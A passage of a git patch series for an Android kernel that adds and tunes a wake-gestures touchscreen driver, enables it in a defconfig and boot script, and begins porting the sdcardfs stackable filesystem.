input_register_handle(handle); + if (error) + goto err2; + + error = input_open_device(handle); + if (error) + goto err1; + + return 0; +err1: + input_unregister_handle(handle); +err2: + kfree(handle); + return error; +} + +static void wg_input_disconnect(struct input_handle *handle) { + input_close_device(handle); + input_unregister_handle(handle); + kfree(handle); +} + +static const struct input_device_id wg_ids[] = { + { .driver_info = 1 }, + { }, +}; + +static struct input_handler wg_input_handler = { + .event = wg_input_event, + .connect = wg_input_connect, + .disconnect = wg_input_disconnect, + .name = "wg_inputreq", + .id_table = wg_ids, +}; + + +/* + * SYSFS stuff below here + */ +static ssize_t sweep2wake_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + size_t count = 0; + + count += sprintf(buf, "%d\n", s2w_switch); + + return count; +} + +static ssize_t sweep2wake_dump(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + sscanf(buf, "%d ", &s2w_switch_temp); + if (s2w_switch_temp < 0 || s2w_switch_temp > 15) + s2w_switch_temp = 0; + + if (!is_suspended()) + s2w_switch = s2w_switch_temp; + else + s2w_switch_changed = true; + + return count; +} + +static DEVICE_ATTR(sweep2wake, (S_IWUSR|S_IRUGO), + sweep2wake_show, sweep2wake_dump); + +static ssize_t sweep2sleep_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + size_t count = 0; + count += sprintf(buf, "%d\n", s2s_switch); + return count; +} + +static ssize_t sweep2sleep_dump(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + sscanf(buf, "%d ", &s2s_switch); + if (s2s_switch < 0 || s2s_switch > 3) + s2s_switch = 0; + + return count; +} + +static DEVICE_ATTR(sweep2sleep, (S_IWUSR|S_IRUGO), + sweep2sleep_show, sweep2sleep_dump); + +static ssize_t doubletap2wake_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + size_t count = 0; + + count += sprintf(buf, "%d\n", dt2w_switch); + + return count; +} + +static ssize_t doubletap2wake_dump(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + sscanf(buf, "%d ", &dt2w_switch_temp); + if (dt2w_switch_temp < 0 || dt2w_switch_temp > 1) + dt2w_switch_temp = 0; + + if (!is_suspended()) + dt2w_switch = dt2w_switch_temp; + else + dt2w_switch_changed = true; + + return count; +} + +static DEVICE_ATTR(doubletap2wake, (S_IWUSR|S_IRUGO), + doubletap2wake_show, doubletap2wake_dump); + +#if (WAKE_GESTURES_ENABLED) +static ssize_t wake_gestures_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + size_t count = 0; + count += sprintf(buf, "%d\n", gestures_switch); + return count; +} +static ssize_t wake_gestures_dump(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + sscanf(buf, "%d ", &gestures_switch); + if (gestures_switch < 0 || gestures_switch > 1) + gestures_switch = 0; + return count; +} + +static DEVICE_ATTR(wake_gestures, (S_IWUSR|S_IRUGO), + wake_gestures_show, wake_gestures_dump); +#endif + +static ssize_t vib_strength_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + size_t count = 0; + count += sprintf(buf, "%d\n", vib_strength); + return count; +} + +static ssize_t vib_strength_dump(struct device *dev, + struct device_attribute *attr, const char *buf, size_t count) +{ + sscanf(buf, "%d ",&vib_strength); + if (vib_strength < 0 || vib_strength > 90) + vib_strength = 20; + + return count; +} + +static DEVICE_ATTR(vib_strength, (S_IWUSR|S_IRUGO), + vib_strength_show, vib_strength_dump); + + +/* + * INIT / EXIT stuff below here + */ + +struct kobject *android_touch_kobj; +EXPORT_SYMBOL_GPL(android_touch_kobj); + +static int __init wake_gestures_init(void) +{ + int rc = 0; + + wake_dev = input_allocate_device(); + if (!wake_dev) { + pr_err("Failed to allocate wake_dev\n"); + goto err_alloc_dev; + } + + input_set_capability(wake_dev, EV_KEY, KEY_POWER); + wake_dev->name = "wg_pwrkey"; + wake_dev->phys = "wg_pwrkey/input0"; + + rc = input_register_device(wake_dev); + if (rc) { + pr_err("%s: input_register_device err=%d\n", __func__, rc); + goto err_input_dev; + } + + rc = input_register_handler(&wg_input_handler); + if (rc) + pr_err("%s: Failed to register wg_input_handler\n", __func__); + + s2w_input_wq = create_workqueue("s2wiwq"); + if (!s2w_input_wq) { + pr_err("%s: Failed to create s2wiwq workqueue\n", __func__); + return -EFAULT; + } + INIT_WORK(&s2w_input_work, s2w_input_callback); + + dt2w_input_wq = create_workqueue("dt2wiwq"); + if (!dt2w_input_wq) { + pr_err("%s: Failed to create dt2wiwq workqueue\n", __func__); + return -EFAULT; + } + INIT_WORK(&dt2w_input_work, dt2w_input_callback); + +#if (WAKE_GESTURES_ENABLED) + gesture_dev = input_allocate_device(); + if (!gesture_dev) { + pr_err("Failed to allocate gesture_dev\n"); + goto err_alloc_dev; + } + + gesture_dev->name = "wake_gesture"; + gesture_dev->phys = "wake_gesture/input0"; + input_set_capability(gesture_dev, EV_REL, WAKE_GESTURE); + + rc = input_register_device(gesture_dev); + if (rc) { + pr_err("%s: input_register_device err=%d\n", __func__, rc); + goto err_gesture_dev; + } +#endif + + android_touch_kobj = kobject_create_and_add("android_touch", NULL) ; + if (android_touch_kobj == NULL) { + pr_warn("%s: android_touch_kobj create_and_add failed\n", __func__); + } + rc = sysfs_create_file(android_touch_kobj, &dev_attr_sweep2wake.attr); + if (rc) { + pr_warn("%s: sysfs_create_file failed for sweep2wake\n", __func__); + } + rc = sysfs_create_file(android_touch_kobj, &dev_attr_sweep2sleep.attr); + if (rc) { + pr_warn("%s: sysfs_create_file failed for sweep2sleep\n", __func__); + } + rc = sysfs_create_file(android_touch_kobj, &dev_attr_doubletap2wake.attr); + if (rc) { + pr_warn("%s: sysfs_create_file failed for doubletap2wake\n", __func__); + } + rc = sysfs_create_file(android_touch_kobj, &dev_attr_vib_strength.attr); + if (rc) { + pr_warn("%s: sysfs_create_file failed for vib_strength\n", __func__); + } +#if (WAKE_GESTURES_ENABLED) + rc = sysfs_create_file(android_touch_kobj, &dev_attr_wake_gestures.attr); + if (rc) { + pr_warn("%s: sysfs_create_file failed for wake_gestures\n", __func__); + } + + return 0; + +err_gesture_dev: + input_free_device(gesture_dev); +err_input_dev: + input_free_device(wake_dev); +err_alloc_dev: +#endif + + return 0; +} + +static void __exit wake_gestures_exit(void) +{ + kobject_del(android_touch_kobj); + input_unregister_handler(&wg_input_handler); + destroy_workqueue(s2w_input_wq); + destroy_workqueue(dt2w_input_wq); + input_unregister_device(wake_dev); + input_free_device(wake_dev); +#if (WAKE_GESTURES_ENABLED) + input_unregister_device(gesture_dev); + input_free_device(gesture_dev); +#endif + + return; +} + +module_init(wake_gestures_init); +module_exit(wake_gestures_exit); diff --git a/include/linux/wake_gestures.h b/include/linux/wake_gestures.h new file mode 100644 index 0000000000000..079768a60c604 --- /dev/null +++ b/include/linux/wake_gestures.h @@ -0,0 +1,37 @@ +/* + * include/linux/wake_gestures.h + * + * Copyright (c) 2013-15, Aaron Segaert + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +#ifndef _LINUX_WAKE_GESTURES_H +#define _LINUX_WAKE_GESTURES_H + +#include + +extern int s2w_switch; +extern int s2w_switch_temp; +extern bool s2w_switch_changed; +extern int dt2w_switch; +extern int dt2w_switch_temp; +extern bool dt2w_switch_changed; +extern bool gestures_enabled; +bool scr_suspended(void); +bool scr_suspended_ft(void); +void set_vibrate(int value); + +#endif /* _LINUX_WAKE_GESTURES_H */ From 4c20ef0743302cb1350c3024c3903dfd87628e71 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Sat, 17 Dec 2016 12:30:47 +0530 Subject: [PATCH 293/365] wake gestures: cleanup and support for wt88047 --- drivers/input/touchscreen/wake_gestures.c | 51 +++-------------------- include/linux/wake_gestures.h | 2 - 2 files changed, 5 insertions(+), 48 deletions(-) diff --git a/drivers/input/touchscreen/wake_gestures.c b/drivers/input/touchscreen/wake_gestures.c index cadf77e2790b9..f7eb8cf520aac 100644 --- a/drivers/input/touchscreen/wake_gestures.c +++ b/drivers/input/touchscreen/wake_gestures.c @@ -50,10 +50,8 @@ #define SWEEP_EDGE 90 #define SWEEP_Y_LIMIT SWEEP_Y_MAX-SWEEP_EDGE #define SWEEP_X_LIMIT SWEEP_X_MAX-SWEEP_EDGE -#define SWEEP_Y_LIMIT_ATMEL 1024-SWEEP_EDGE -#define SWEEP_X_LIMIT_ATMEL 1024-SWEEP_EDGE -#define SWEEP_X_B1 399 -#define SWEEP_X_B2 720 +#define SWEEP_X_B1 299 +#define SWEEP_X_B2 620 #define SWEEP_Y_START 800 #define SWEEP_X_START 540 #define SWEEP_X_FINAL 270 @@ -69,12 +67,10 @@ #define SWEEP_LEFT 0x02 #define SWEEP_UP 0x04 #define SWEEP_DOWN 0x08 -#define VIB_STRENGTH 30 #define WAKE_GESTURES_ENABLED 1 #define LOGTAG "WG" -#define ATMEL 2 #if (WAKE_GESTURES_ENABLED) int gestures_switch = WG_DEFAULT; @@ -101,8 +97,6 @@ static unsigned long pwrtrigger_time[2] = {0, 0}; static unsigned long long tap_time_pre = 0; static int touch_nr = 0, x_pre = 0, y_pre = 0; static bool touch_cnt = true; -static int vib_strength = VIB_STRENGTH; -static int hw_version = 0; static struct input_dev * wake_dev; static DEFINE_MUTEX(pwrkeyworklock); @@ -113,10 +107,7 @@ static struct work_struct dt2w_input_work; static bool is_suspended(void) { - if (hw_version == ATMEL) - return scr_suspended(); - else - return scr_suspended_ft(); + return scr_suspended_ft(); } /* Wake Gestures */ @@ -147,8 +138,6 @@ static void wake_presspwr(struct work_struct * wake_presspwr_work) { msleep(WG_PWRKEY_DUR); mutex_unlock(&pwrkeyworklock); -// set_vibrate(vib_strength); - return; } static DECLARE_WORK(wake_presspwr_work, wake_presspwr); @@ -491,12 +480,8 @@ static void wg_input_event(struct input_handle *handle, unsigned int type, static int input_dev_filter(struct input_dev *dev) { if (strstr(dev->name, "ft5x06_ts")) { return 0; - } else if (strstr(dev->name, "Atmel")) { - hw_version = ATMEL; - sweep_y_limit = SWEEP_Y_LIMIT_ATMEL; - sweep_x_limit = SWEEP_X_LIMIT_ATMEL; - return 0; - } else { + } + else { return 1; } return 0; @@ -655,28 +640,6 @@ static DEVICE_ATTR(wake_gestures, (S_IWUSR|S_IRUGO), wake_gestures_show, wake_gestures_dump); #endif -static ssize_t vib_strength_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - size_t count = 0; - count += sprintf(buf, "%d\n", vib_strength); - return count; -} - -static ssize_t vib_strength_dump(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - sscanf(buf, "%d ",&vib_strength); - if (vib_strength < 0 || vib_strength > 90) - vib_strength = 20; - - return count; -} - -static DEVICE_ATTR(vib_strength, (S_IWUSR|S_IRUGO), - vib_strength_show, vib_strength_dump); - - /* * INIT / EXIT stuff below here */ @@ -756,10 +719,6 @@ static int __init wake_gestures_init(void) if (rc) { pr_warn("%s: sysfs_create_file failed for doubletap2wake\n", __func__); } - rc = sysfs_create_file(android_touch_kobj, &dev_attr_vib_strength.attr); - if (rc) { - pr_warn("%s: sysfs_create_file failed for vib_strength\n", __func__); - } #if (WAKE_GESTURES_ENABLED) rc = sysfs_create_file(android_touch_kobj, &dev_attr_wake_gestures.attr); if (rc) { diff --git a/include/linux/wake_gestures.h b/include/linux/wake_gestures.h index 079768a60c604..dbf0a6775282e 100644 --- a/include/linux/wake_gestures.h +++ b/include/linux/wake_gestures.h @@ -30,8 +30,6 @@ extern int dt2w_switch; extern int dt2w_switch_temp; extern bool dt2w_switch_changed; extern bool gestures_enabled; -bool scr_suspended(void); bool scr_suspended_ft(void); -void set_vibrate(int value); #endif /* _LINUX_WAKE_GESTURES_H */ From dd995bc537872622b42f5bd0fedbb7ed5ded340b Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Sat, 17 Dec 2016 12:33:04 +0530 Subject: [PATCH 294/365] defconfig: enable wake gestures --- arch/arm/configs/zetsubou_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 4b59011fe8624..9a2db73f07781 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -1614,6 +1614,7 @@ CONFIG_TOUCHSCREEN_GEN_VKEYS=y # CONFIG_TOUCHSCREEN_PROXIMITY_SENSOR is not set # CONFIG_INPUT_MT_WRAPPER is not set # CONFIG_TOUCHSCREEN_IT7260_I2C is not set +CONFIG_WAKE_GESTURES=y CONFIG_INPUT_MISC=y # CONFIG_INPUT_AD714X is not set # CONFIG_INPUT_BMA150 is not set From d1fd4b24d634694efb2fa9234a08093854f56030 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Sun, 18 Dec 2016 09:51:04 +0530 Subject: [PATCH 295/365] wake gestures:set proper tuneables for wt88047 --- drivers/input/touchscreen/wake_gestures.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/drivers/input/touchscreen/wake_gestures.c b/drivers/input/touchscreen/wake_gestures.c index f7eb8cf520aac..5e6cf3655bb91 100644 --- a/drivers/input/touchscreen/wake_gestures.c +++ b/drivers/input/touchscreen/wake_gestures.c @@ -47,15 +47,15 @@ /* Redmi 2 */ #define SWEEP_Y_MAX 1280 #define SWEEP_X_MAX 720 -#define SWEEP_EDGE 90 +#define SWEEP_EDGE 65 #define SWEEP_Y_LIMIT SWEEP_Y_MAX-SWEEP_EDGE #define SWEEP_X_LIMIT SWEEP_X_MAX-SWEEP_EDGE -#define SWEEP_X_B1 299 -#define SWEEP_X_B2 620 -#define SWEEP_Y_START 800 -#define SWEEP_X_START 540 -#define SWEEP_X_FINAL 270 -#define SWEEP_Y_NEXT 135 +#define SWEEP_X_B1 216 +#define SWEEP_X_B2 480 +#define SWEEP_Y_START 533 +#define SWEEP_X_START 360 +#define SWEEP_X_FINAL 180 +#define SWEEP_Y_NEXT 150 #define DT2W_FEATHER 150 #define DT2W_TIME 500 From 655866ad40b0b02997608775f93e0f38898f2853 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Sun, 18 Dec 2016 10:40:39 +0530 Subject: [PATCH 296/365] anykernel: sweep2wake up enabled by default --- AnyKernel2/ramdisk/init.zetsubou.rc | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/AnyKernel2/ramdisk/init.zetsubou.rc b/AnyKernel2/ramdisk/init.zetsubou.rc index b83c0ef3aaef3..08e4025b0506c 100644 --- a/AnyKernel2/ramdisk/init.zetsubou.rc +++ b/AnyKernel2/ramdisk/init.zetsubou.rc @@ -1,6 +1,13 @@ # Zetsubou init script # Thanks to franciscofranco, ak, nathanchancellor and frap129 +on boot + # enable sweep2wake up + chown root root /sys/android_touch/sweep2wake + chmod 666 /sys/android_touch/sweep2wake + write /sys/android_touch/sweep2wake 4 + chmod 644 /sys/android_touch/sweep2wake + on property:sys.boot_completed=1 # set I/O scheduler write /sys/block/mmcblk0/queue/rq_affinity 0 From 8235c37d86530a8a00ab16e7714bafb83c03537c Mon Sep 17 00:00:00 2001 From: Daniel Campello Date: Fri, 19 Jun 2015 14:31:25 -0700 Subject: [PATCH 297/365] Initial port of sdcardfs Change-Id: I5b5772a2bbff9f3a7dda641644630a7b8afacec0 --- fs/Kconfig | 1 + fs/Makefile | 5 +- fs/sdcardfs/Kconfig | 18 + fs/sdcardfs/Makefile | 7 + fs/sdcardfs/dentry.c | 182 ++++++++ fs/sdcardfs/derived_perm.c | 290 ++++++++++++ fs/sdcardfs/file.c | 357 +++++++++++++++ fs/sdcardfs/hashtable.h | 190 ++++++++ fs/sdcardfs/inode.c | 886 +++++++++++++++++++++++++++++++++++++ fs/sdcardfs/lookup.c | 386 ++++++++++++++++ fs/sdcardfs/main.c | 425 ++++++++++++++++++ fs/sdcardfs/mmap.c | 82 ++++ fs/sdcardfs/multiuser.h | 37 ++ fs/sdcardfs/packagelist.c | 458 +++++++++++++++++++ fs/sdcardfs/sdcardfs.h | 493 +++++++++++++++++++++ fs/sdcardfs/strtok.h | 75 ++++ fs/sdcardfs/super.c | 229 ++++++++++ include/linux/namei.h | 3 + include/uapi/linux/magic.h | 2 + 19 files changed, 4124 insertions(+), 2 deletions(-) create mode 100755 fs/sdcardfs/Kconfig create mode 100755 fs/sdcardfs/Makefile create mode 100755 fs/sdcardfs/dentry.c create mode 100755 fs/sdcardfs/derived_perm.c create mode 100755 fs/sdcardfs/file.c create mode 100755 fs/sdcardfs/hashtable.h create mode 100755 fs/sdcardfs/inode.c create mode 100755 fs/sdcardfs/lookup.c create mode 100755 fs/sdcardfs/main.c create mode 100755 fs/sdcardfs/mmap.c create mode 100755 fs/sdcardfs/multiuser.h create mode 100755 fs/sdcardfs/packagelist.c create mode 100755 fs/sdcardfs/sdcardfs.h create mode 100755 fs/sdcardfs/strtok.h create mode 100755 fs/sdcardfs/super.c diff --git a/fs/Kconfig b/fs/Kconfig index a88962d9496c0..d9ba2b758bc19 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -190,6 +190,7 @@ if MISC_FILESYSTEMS source "fs/adfs/Kconfig" source "fs/affs/Kconfig" source "fs/ecryptfs/Kconfig" +source "fs/sdcardfs/Kconfig" source "fs/hfs/Kconfig" source "fs/hfsplus/Kconfig" source "fs/befs/Kconfig" diff --git a/fs/Makefile b/fs/Makefile index 2b459a5173502..7b8fb13bfb04d 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -3,7 +3,7 @@ # # 14 Sep 2000, Christoph Hellwig # Rewritten to use lists instead of if-statements. -# +# obj-y := open.o read_write.o file_table.o super.o \ char_dev.o stat.o exec.o pipe.o namei.o fcntl.o \ @@ -60,7 +60,7 @@ obj-y += devpts/ obj-$(CONFIG_PROFILING) += dcookies.o obj-$(CONFIG_DLM) += dlm/ - + # Do not add any filesystems before this line obj-$(CONFIG_FSCACHE) += fscache/ obj-$(CONFIG_REISERFS_FS) += reiserfs/ @@ -83,6 +83,7 @@ obj-$(CONFIG_ISO9660_FS) += isofs/ obj-$(CONFIG_HFSPLUS_FS) += hfsplus/ # Before hfs to find wrapped HFS+ obj-$(CONFIG_HFS_FS) += hfs/ obj-$(CONFIG_ECRYPT_FS) += ecryptfs/ +obj-$(CONFIG_SDCARD_FS) += sdcardfs/ obj-$(CONFIG_VXFS_FS) += freevxfs/ obj-$(CONFIG_NFS_FS) += nfs/ obj-$(CONFIG_EXPORTFS) += exportfs/ diff --git a/fs/sdcardfs/Kconfig b/fs/sdcardfs/Kconfig new file mode 100755 index 0000000000000..657f4958e8d6d --- /dev/null +++ b/fs/sdcardfs/Kconfig @@ -0,0 +1,18 @@ +config SDCARD_FS + tristate "sdcard file system" + depends on EXPERIMENTAL + default n + help + Sdcardfs is based on Wrapfs file system. + +config SDCARD_FS_FADV_NOACTIVE + bool "sdcardfs fadvise noactive support" + depends on FADV_NOACTIVE + default y + help + Sdcardfs supports fadvise noactive mode. + +config SDCARD_FS_CI_SEARCH + tristate "sdcardfs case-insensitive search support" + depends on SDCARD_FS + default y diff --git a/fs/sdcardfs/Makefile b/fs/sdcardfs/Makefile new file mode 100755 index 0000000000000..b84fbb2b45a47 --- /dev/null +++ b/fs/sdcardfs/Makefile @@ -0,0 +1,7 @@ +SDCARDFS_VERSION="0.1" + +EXTRA_CFLAGS += -DSDCARDFS_VERSION=\"$(SDCARDFS_VERSION)\" + +obj-$(CONFIG_SDCARD_FS) += sdcardfs.o + +sdcardfs-y := dentry.o file.o inode.o main.o super.o lookup.o mmap.o packagelist.o derived_perm.o diff --git a/fs/sdcardfs/dentry.c b/fs/sdcardfs/dentry.c new file mode 100755 index 0000000000000..4572a5403bb25 --- /dev/null +++ b/fs/sdcardfs/dentry.c @@ -0,0 +1,182 @@ +/* + * fs/sdcardfs/dentry.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" +#include "linux/ctype.h" + +/* + * returns: -ERRNO if error (returned to user) + * 0: tell VFS to invalidate dentry + * 1: dentry is valid + */ +static int sdcardfs_d_revalidate(struct dentry *dentry, struct nameidata *nd) +{ + int err = 1; + struct path parent_lower_path, lower_path; + struct dentry *parent_dentry = NULL; + struct dentry *parent_lower_dentry = NULL; + struct dentry *lower_cur_parent_dentry = NULL; + struct dentry *lower_dentry = NULL; + + if (nd && nd->flags & LOOKUP_RCU) + return -ECHILD; + + spin_lock(&dentry->d_lock); + if (IS_ROOT(dentry)) { + spin_unlock(&dentry->d_lock); + return 1; + } + spin_unlock(&dentry->d_lock); + + /* check uninitialized obb_dentry and + * whether the base obbpath has been changed or not */ + if (is_obbpath_invalid(dentry)) { + d_drop(dentry); + return 0; + } + + parent_dentry = dget_parent(dentry); + sdcardfs_get_lower_path(parent_dentry, &parent_lower_path); + sdcardfs_get_real_lower(dentry, &lower_path); + parent_lower_dentry = parent_lower_path.dentry; + lower_dentry = lower_path.dentry; + lower_cur_parent_dentry = dget_parent(lower_dentry); + + spin_lock(&lower_dentry->d_lock); + if (d_unhashed(lower_dentry)) { + spin_unlock(&lower_dentry->d_lock); + d_drop(dentry); + err = 0; + goto out; + } + spin_unlock(&lower_dentry->d_lock); + + if (parent_lower_dentry != lower_cur_parent_dentry) { + d_drop(dentry); + err = 0; + goto out; + } + + if (dentry < lower_dentry) { + spin_lock(&dentry->d_lock); + spin_lock(&lower_dentry->d_lock); + } else { + spin_lock(&lower_dentry->d_lock); + spin_lock(&dentry->d_lock); + } + + if (dentry->d_name.len != lower_dentry->d_name.len) { + __d_drop(dentry); + err = 0; + } else if (strncasecmp(dentry->d_name.name, lower_dentry->d_name.name, + dentry->d_name.len) != 0) { + __d_drop(dentry); + err = 0; + } + + if (dentry < lower_dentry) { + spin_unlock(&lower_dentry->d_lock); + spin_unlock(&dentry->d_lock); + } else { + spin_unlock(&dentry->d_lock); + spin_unlock(&lower_dentry->d_lock); + } + +out: + dput(parent_dentry); + dput(lower_cur_parent_dentry); + sdcardfs_put_lower_path(parent_dentry, &parent_lower_path); + sdcardfs_put_real_lower(dentry, &lower_path); + return err; +} + +static void sdcardfs_d_release(struct dentry *dentry) +{ + /* release and reset the lower paths */ + if(has_graft_path(dentry)) { + sdcardfs_put_reset_orig_path(dentry); + } + sdcardfs_put_reset_lower_path(dentry); + free_dentry_private_data(dentry); + return; +} + +static int sdcardfs_hash_ci(const struct dentry *dentry, + const struct inode *inode, struct qstr *qstr) +{ + /* + * This function is copy of vfat_hashi. + * FIXME Should we support national language? + * Refer to vfat_hashi() + * struct nls_table *t = MSDOS_SB(dentry->d_sb)->nls_io; + */ + const unsigned char *name; + unsigned int len; + unsigned long hash; + + name = qstr->name; + //len = vfat_striptail_len(qstr); + len = qstr->len; + + hash = init_name_hash(); + while (len--) + //hash = partial_name_hash(nls_tolower(t, *name++), hash); + hash = partial_name_hash(tolower(*name++), hash); + qstr->hash = end_name_hash(hash); + + return 0; +} + +/* + * Case insensitive compare of two vfat names. + */ +static int sdcardfs_cmp_ci(const struct dentry *parent, + const struct inode *pinode, + const struct dentry *dentry, const struct inode *inode, + unsigned int len, const char *str, const struct qstr *name) +{ + /* This function is copy of vfat_cmpi */ + // FIXME Should we support national language? + //struct nls_table *t = MSDOS_SB(parent->d_sb)->nls_io; + //unsigned int alen, blen; + + /* A filename cannot end in '.' or we treat it like it has none */ + /* + alen = vfat_striptail_len(name); + blen = __vfat_striptail_len(len, str); + if (alen == blen) { + if (nls_strnicmp(t, name->name, str, alen) == 0) + return 0; + } + */ + if (name->len == len) { + if (strncasecmp(name->name, str, len) == 0) + return 0; + } + return 1; +} + +const struct dentry_operations sdcardfs_ci_dops = { + .d_revalidate = sdcardfs_d_revalidate, + .d_release = sdcardfs_d_release, + .d_hash = sdcardfs_hash_ci, + .d_compare = sdcardfs_cmp_ci, +}; + diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c new file mode 100755 index 0000000000000..00c33a471dcc5 --- /dev/null +++ b/fs/sdcardfs/derived_perm.c @@ -0,0 +1,290 @@ +/* + * fs/sdcardfs/derived_perm.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" + +/* copy derived state from parent inode */ +static void inherit_derived_state(struct inode *parent, struct inode *child) +{ + struct sdcardfs_inode_info *pi = SDCARDFS_I(parent); + struct sdcardfs_inode_info *ci = SDCARDFS_I(child); + + ci->perm = PERM_INHERIT; + ci->userid = pi->userid; + ci->d_uid = pi->d_uid; + ci->d_gid = pi->d_gid; + ci->d_mode = pi->d_mode; +} + +/* helper function for derived state */ +void setup_derived_state(struct inode *inode, perm_t perm, + userid_t userid, uid_t uid, gid_t gid, mode_t mode) +{ + struct sdcardfs_inode_info *info = SDCARDFS_I(inode); + + info->perm = perm; + info->userid = userid; + info->d_uid = uid; + info->d_gid = gid; + info->d_mode = mode; +} + +void get_derived_permission(struct dentry *parent, struct dentry *dentry) +{ + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + struct sdcardfs_inode_info *info = SDCARDFS_I(dentry->d_inode); + struct sdcardfs_inode_info *parent_info= SDCARDFS_I(parent->d_inode); + appid_t appid; + + /* By default, each inode inherits from its parent. + * the properties are maintained on its private fields + * because the inode attributes will be modified with that of + * its lower inode. + * The derived state will be updated on the last + * stage of each system call by fix_derived_permission(inode). + */ + + inherit_derived_state(parent->d_inode, dentry->d_inode); + + //printk(KERN_INFO "sdcardfs: derived: %s, %s, %d\n", parent->d_name.name, + // dentry->d_name.name, parent_info->perm); + + if (sbi->options.derive == DERIVE_NONE) { + return; + } + + /* Derive custom permissions based on parent and current node */ + switch (parent_info->perm) { + case PERM_INHERIT: + /* Already inherited above */ + break; + case PERM_LEGACY_PRE_ROOT: + /* Legacy internal layout places users at top level */ + info->perm = PERM_ROOT; + info->userid = simple_strtoul(dentry->d_name.name, NULL, 10); + break; + case PERM_ROOT: + /* Assume masked off by default. */ + info->d_mode = 00770; + if (!strcasecmp(dentry->d_name.name, "Android")) { + /* App-specific directories inside; let anyone traverse */ + info->perm = PERM_ANDROID; + info->d_mode = 00771; + } else if (sbi->options.split_perms) { + if (!strcasecmp(dentry->d_name.name, "DCIM") + || !strcasecmp(dentry->d_name.name, "Pictures")) { + info->d_gid = AID_SDCARD_PICS; + } else if (!strcasecmp(dentry->d_name.name, "Alarms") + || !strcasecmp(dentry->d_name.name, "Movies") + || !strcasecmp(dentry->d_name.name, "Music") + || !strcasecmp(dentry->d_name.name, "Notifications") + || !strcasecmp(dentry->d_name.name, "Podcasts") + || !strcasecmp(dentry->d_name.name, "Ringtones")) { + info->d_gid = AID_SDCARD_AV; + } + } + break; + case PERM_ANDROID: + if (!strcasecmp(dentry->d_name.name, "data")) { + /* App-specific directories inside; let anyone traverse */ + info->perm = PERM_ANDROID_DATA; + info->d_mode = 00771; + } else if (!strcasecmp(dentry->d_name.name, "obb")) { + /* App-specific directories inside; let anyone traverse */ + info->perm = PERM_ANDROID_OBB; + info->d_mode = 00771; + // FIXME : this feature will be implemented later. + /* Single OBB directory is always shared */ + } else if (!strcasecmp(dentry->d_name.name, "user")) { + /* User directories must only be accessible to system, protected + * by sdcard_all. Zygote will bind mount the appropriate user- + * specific path. */ + info->perm = PERM_ANDROID_USER; + info->d_gid = AID_SDCARD_ALL; + info->d_mode = 00770; + } + break; + /* same policy will be applied on PERM_ANDROID_DATA + * and PERM_ANDROID_OBB */ + case PERM_ANDROID_DATA: + case PERM_ANDROID_OBB: + appid = get_appid(sbi->pkgl_id, dentry->d_name.name); + if (appid != 0) { + info->d_uid = multiuser_get_uid(parent_info->userid, appid); + } + info->d_mode = 00770; + break; + case PERM_ANDROID_USER: + /* Root of a secondary user */ + info->perm = PERM_ROOT; + info->userid = simple_strtoul(dentry->d_name.name, NULL, 10); + info->d_gid = AID_SDCARD_R; + info->d_mode = 00771; + break; + } +} + +/* main function for updating derived permission */ +inline void update_derived_permission(struct dentry *dentry) +{ + struct dentry *parent; + + if(!dentry || !dentry->d_inode) { + printk(KERN_ERR "sdcardfs: %s: invalid dentry\n", __func__); + return; + } + /* FIXME: + * 1. need to check whether the dentry is updated or not + * 2. remove the root dentry update + */ + if(IS_ROOT(dentry)) { + //setup_default_pre_root_state(dentry->d_inode); + } else { + parent = dget_parent(dentry); + if(parent) { + get_derived_permission(parent, dentry); + dput(parent); + } + } + 